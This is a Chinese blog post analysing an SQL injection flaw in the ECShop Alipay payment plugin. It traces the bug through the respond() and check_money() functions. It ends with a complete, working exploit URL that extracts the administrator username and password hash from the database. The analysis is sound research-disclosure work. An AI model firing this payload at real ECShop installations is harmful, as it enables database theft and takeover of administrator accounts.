ecshop 最新注入0day漏洞

漏洞作者:360
漏洞分析:Seay
博客:www.cnseay.com
今天习惯性的到处逛,看看文章。看到了360爆的一个ecshop 支付宝支付插件的注入漏洞,照例的分析下,360的团队还是挺赞的。
由于漏洞源于ecshop的支付宝支付插件,所有利用前提是站点安装此插件,利用不受GPC影响。
漏洞核心代码在\includes\modules\payment\alipay.php 文件 respond()函数,第215行。

$order_sn变量由str_replace($_GET[‘subject’], ”, $_GET[‘out_trade_no’]);控制,我们可以通过$_GET[‘subject’]参数来替换掉$_GET[‘out_trade_no’]参数里面的反斜杠\。
最终$order_sn被带入check_money()函数。我们跟进看一下
在include\lib_payment.php文件中109行.

此处就是漏洞现场。原来的$order_sn被带入了数据库。
利用测试:
首先我们要通过str_replace来达到我们想要的效果,%00是截断符,即也为NULL,NULL值是与0相等的,
调用respond()函数的文件是respond.php,所以要在respond.php文件利用。
最终利用EXP:
http://localhost/ecshop/respond.php?code=alipay&subject=0&out_trade_no=%00′ and (select * from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b) — By seay

原文链接:,转发请注明来源!

发表评论

要发表评论,您必须先登录